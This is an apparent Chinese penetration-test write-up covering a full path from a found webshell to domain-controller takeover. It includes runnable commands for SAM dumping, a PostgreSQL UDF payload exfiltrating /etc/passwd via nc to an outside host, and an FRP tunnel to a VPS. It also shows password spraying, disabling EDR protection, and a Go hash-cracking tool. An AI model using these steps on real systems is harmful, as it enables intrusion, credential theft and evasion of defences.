一、入口权限
1.1 获得初始权限
扫描目录扫到别人上传的webshell大马
根据大马特征在网上找到密码,验证通过后通过文件上传webshell拿下该机器。低用户权限。
1.2 提权到SYSTEM
使用哥斯拉自带的烂土豆提权
提取注册表sam.hive、sysem.hive
reg save hklmsam sam.hive
reg save hklmsystem system.hive
将sam.hive和system.hive文件通过哥斯拉下载回本地,使用mimikatz解密出NTLM哈希
lsadump::sam /sam:sam.hive /system:system.hive
在cmd5成功解密明文
1.3 信息收集
ipconfig
存在Windows域,从DNS看存在两台DC
tasklist
进程列表看一下杀软
存在EDR,是一款由罗马尼亚的Softwin软件公司开发的杀毒软件。
看一下数据库配置
使用本地SYSTEM权限查询一下域相关信息
net group "domain controllers" /domain
net group "domain admins" /domain
二、C段扫描
因为当前机器存在EDR,将处理过免杀的gogo(内网探测工具)上传,对当前C段进行探测扫描,(当前只有一个webshell权限,并且不出网,不适合大规模扫描)
探测到一个ms17-010,利用不成功。收集扫描记录,主要是端口。
开放端口:
21,22,80,135,139,443,445,1521,5432,5555,8009,8081,5985,137,8086,3389,10000,5900
使用HTTP代理隧道工具——suo5,将HTTP协议转为socks5代理隧道
1.上传suo5.aspx到web目录
2.开启Suo5,在本地监听1080
3.本地使用proxychains工具代理socks5 1080,使用fscan对这些端口进行扫描。
proxychains4 -q fscan -h 192.168.5.1/24 -np -t 20 -p 21,22,80,135,139,443,445,1521,5432,5555,8009,8081,5985,137,8086,3389,10000,5900
2.1 postgres数据库权限
fscan扫描到一个postgresql弱口令
postgres/password
使用proxifier工具将navicat代理上socks5代理
2.1.1 利用UDF实现命令执行
在 8.2 以前,postgresql 不验证 magic block,可以直接调用本地的 libc.so
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc xxx.xx.xx.xx');
8.2 以上版本,需要自己编译 so 文件去创建执行命令函数。
使用select version();
查看当前postgres版本信息。
找一台Linux机器,编译so文件
# 找相应的 dev 扩展包
apt-get search postgresql-server-dev
# 安装 dev 扩展包
apt-get install postgresql-server-dev-15
# 编译好 .so 文件
git clone https://github.com/No-Github/postgresql_udf_help
cd postgresql_udf_help
gcc -Wall -I/usr/include/postgresql/15/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
strip -sx lib_postgresqludf_sys.so
# 生成分片后的 sql 语句
cat lib_postgresqludf_sys.so | xxd -ps | tr -d "n" > 1.txt
python2 postgresql_udf_help.py 1.txt > sqlcmd.txt
生成的sqlcmd大致如下
SELECT lo_create(1370);
insert into pg_largeobject values (1370, 0, decode('xxx
...
...
...
SELECT lo_export(1370, '/tmp/testeval.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
将生成的sqlcmd.txt中的sql语句在Postgres中执行
成功执行命令,如下
2.1.3 尝试提权
本地docker拉取AlpineLinux3.17,搭建和目标基本差不多的环境,进行内核提权尝试。
内核版本太高,试过了几个CVE都提权失败。
2.1.4 搭建隧道
因为该机器可以出网,我们上传Linux定制马,上线到cs
使用FRP搭建socks隧道。以备后续内网渗透使用。
配置文件,大致如下
user = "192.168.5.120"
serverAddr = "x.x.x.x"
serverPort = 8000
auth.method = "token"
auth.token = "123456789"
[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 6005
[proxies.plugin]
type = "socks5"
username = "username"
password = "password"
在公网vps上开启监听,将配置文件上传至目标,执行即可。
三、内网渗透
3.1 内网扫描
3.1.1 gogo
该Postgres服务器综合考虑下来比较适合当跳板进行大规模扫描(docker容器、Linux系统)。
因为这个容器使用的是AlpineLinux,其使用的是Musl c函数库,gogo在github上默认打包好的二进制,无法正常运行。
本地git拉取gogo,重新构造适用于musl的二进制
go generate && CGO_ENABLED=1 GOOS=linux GOARCH=amd64 CC=x86_64-linux-musl-gcc go build ${LDFLAGS-Win} -o release/linux/gogo-musl gogo.go
使用gogo进行B段内网探测
./gogo -i 192.168.1.1/16 --mod s -p top2,win,db -t 100 --af
将工具探测到的机器按照端口分类好,如下
3.1.2 nxc
挂frp代理进内网,使用nxc工具对内网机器进行探测
将扫描结果整理好,并将对应每个服务的ip列出来
将gogo和nxc的结果进行比对合并。
3.2 密码喷洒
在此之前,我们获得了三个密码,分别是web入口Windows服务器密码、mssql数据库密码以及Postgres数据库密码,将其形成字典(后续收集到的密码都会更新到该字典里)
挂frp代理进内网,使用nxc工具,对上面收集到的端口服务进行密码喷洒
proxychains4 -q nxc ssh ssh.txt -u username.txt -p password.txt
proxychains4 -q nxc mssql mssql.txt -u username.txt -p password.txt
proxychains4 -q nxc ssh.txt -u username.txt -p password.txt
3.2.1 密码喷洒结果
4台Linux服务器和3台Windows服务器,且都是管理员权限。
-
Linux -
192.168.5.65 -
192.168.5.90 -
192.168.5.91 -
192.168.5.141 -
Windows -
192.168.5.40 -
192.168.6.83 -
192.168.6.200
3.3 横向渗透
3.3.1 192.168.5.65(电子文件管理系统)
3.3.1.1 基本信息
机器不出网。
3.3.1.2 数据库配置
导出用户表,共计有3003个账号,但是密码是加密的
3.3.1.3 解密用户密码
反编译class源码,找到了加密算法
重点是这几行代码
String userNameAndPass = user.getUserName().toLowerCase() + user.getPassword();
String salt = EncryptDecryptUtils.getSaltedHash();
user.setSalt(salt);
user.setPassword(EncryptDecryptUtils.encryptSHA256(userNameAndPass, salt));
加密算法:将用户名转为小写拼接密码明文,随机生成盐,使用SHA-256进行加密。
我们导出来的用户表,已经包括了哈希、盐这两个字段,写个爆破程序
package main
import (
"bufio"
"crypto/sha256"
"encoding/hex"
"flag"
"fmt"
"os"
"runtime"
"strings"
"sync"
)
// generateHash 生成 SHA-256 哈希值
funcgenerateHash(password, salt, username string) string {
hasher := sha256.New()
hasher.Write([]byte(strings.ToLower(username) + password + salt)) // username 转小写后拼接
return hex.EncodeToString(hasher.Sum(nil))
}
// bruteForceWorker 工作线程,尝试匹配目标哈希值
funcbruteForceWorker(targetHash, salt, username string, passwords <-chanstring, wg *sync.WaitGroup, resultChan chan<- string) {
defer wg.Done()
for password := range passwords {
// 生成加密后的密码
encryptedPassword := generateHash(password, salt, username)
// 打印尝试的密码和生成的加密后密码
// fmt.Printf("尝试密码: %s -> 加密后密码: %sn", password, encryptedPassword)
if encryptedPassword == targetHash {
// 匹配时打印加密后的密码
fmt.Printf("匹配成功! 密码: %s -> 加密后密码: %sn", password, encryptedPassword)
resultChan <- password
return
}
}
}
// readWordlist 读取字典文件并返回密码列表
funcreadWordlist(filepath string) ([]string, error) {
file, err := os.Open(filepath)
if err != nil {
return nil, err
}
defer file.Close()
var wordlist []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
wordlist = append(wordlist, scanner.Text())
}
if err := scanner.Err(); err != nil {
return nil, err
}
return wordlist, nil
}
// readHashSaltFile 读取哈希、用户名和盐值文件,返回哈希、用户名和盐值对的列表
funcreadHashSaltFile(filepath string) ([][3]string, error) {
file, err := os.Open(filepath)
if err != nil {
return nil, err
}
defer file.Close()
var hashSaltPairs [][3]string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ":")
if len(parts) != 3 {
continue
}
hashSaltPairs = append(hashSaltPairs, [3]string{parts[0], parts[1], parts[2]})
}
if err := scanner.Err(); err != nil {
return nil, err
}
return hashSaltPairs, nil
}
funcmain() {
// 解析命令行参数
wordlistPath := flag.String("w", "", "字典文件路径")
hashSaltPath := flag.String("c", "", "哈希、用户名和盐值文件路径")
threadCount := flag.Int("t", runtime.NumCPU(), "线程数量")
flag.Parse()
if *wordlistPath == "" || *hashSaltPath == "" {
fmt.Println("请提供字典文件路径和哈希/用户名/盐值文件路径")
flag.Usage()
return
}
// 读取字典文件
wordlist, err := readWordlist(*wordlistPath)
if err != nil {
fmt.Printf("无法读取字典文件: %vn", err)
return
}
// 读取哈希、用户名和盐值文件
hashSaltPairs, err := readHashSaltFile(*hashSaltPath)
if err != nil {
fmt.Printf("无法读取哈希/用户名/盐值文件: %vn", err)
return
}
// 对每个哈希、用户名和盐值对进行暴力破解
for _, pair := range hashSaltPairs {
username, targetHash, salt := pair[0], pair[1], pair[2]
// fmt.Printf("开始破解用户名: %s 哈希: %s 使用盐值: %sn", username, targetHash, salt)
// 设置同步机制
passwords := make(chan string, len(wordlist))
resultChan := make(chan string, 1)
var wg sync.WaitGroup
// 启动指定数量的线程
for i := 0; i < *threadCount; i++ {
wg.Add(1)
go bruteForceWorker(targetHash, salt, username, passwords, &wg, resultChan)
}
// 将字典中的密码发送到 channel 中
go func() {
for _, password := range wordlist {
passwords <- password
}
close(passwords)
}()
// 等待破解结果
go func() {
wg.Wait()
close(resultChan)
}()
// 输出结果
if result, ok := <-resultChan; ok {
fmt.Printf("找到匹配密码: %sn", result)
} else {
// fmt.Println("未找到匹配密码")
}
}
}
执行程序
go run sha256brute.go -c pwdandsalt.txt -w pwd.txt > bruteresults.txt
爆破出来,3003个账号。
3.3.2 192.168.6.83
使用nxc smb执行命令
SYSTEM权限,不出网
查看进程,发现存在赛门铁克EDR
经过目录翻阅,在桌面找到一个密码,加入之前的字典中。
3.3.3 192.168.6.200(拿到域用户权限)
3.3.3.1 翻找敏感文件
查看进程列表
未发现杀软
其实存在EDR,VESAgentGui.exe进程,Google了下,是越南的EDR,因为小众所以上面没有识别出来。
先看一下当前在线用户,避免踢掉目标用户。
通过socks代理,3389远程连接上去
我们顺手将其实时查杀功能关了,后续准备上传域信息收集工具
目前,先翻一下敏感文件。找到该机器上域用户xxxxxxxx登录的家目录,里面有两个txt文件
3.3.3.2 拿到域用户密码
我们将这些用户名和密码更新到字典中,继续喷洒
密码喷洒成功,获得一个域用户账号
3.3.3.2 获取域内DNS
因为获取到了域用户账号,可以使用adidnsdump远程获取域内DNS
proxychains4 adidnsdump ldap://192.168.2.xx -u xx\xxx -p xxx -r
3.3.3.3 域信息收集
上传BloodHound收集器,执行完成后会生成一个zip压缩包,将其下载回本地,如下
本地搭建BloodHound
上传zip包
这是软件分析出来到域管的路线图
在BloodHound搜索之前拿到的域用户,查找该域用户是否在某个机器上是本地管理员
找到该域用户在图中机器上是本地管理员权限
3.3.4 192.168.9.222(拿到域管理员权限)
在之前gogo扫描的记录中,找到该机器对应的IP地址是:192.168.9.222
nxc执行命令查看一下当前在线用户,没有其他在线用户,可以远程连接3389
又在桌面找到一些TXT
看一下该机器上的其他用户(因为我们当前登录的域用户是该机器的本地管理员,所以这些用户的文件我们都可以查看)
在又翻到一个疑似密码的TXT
将这些账号和密码再次更新我们前面维护的字典,对前面收集到的域管理员用户进行密码喷洒,如下
成功喷洒到一个域管理员账号
3.4 拿下域控
使用拿到的域管理员账号在域控上验证,证实确实是域管理员身份权限
3.4.1 导出所有用户哈希
使用secretsdump工具远程导出所有用户哈希以及对应明文密码
共有3986个域用户,其中域管理员有11个。域内机器共计1795台,其中域控有5台。
原文始发于微信公众号(SimonSec):实战|打点到内网域控全链路渗透记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论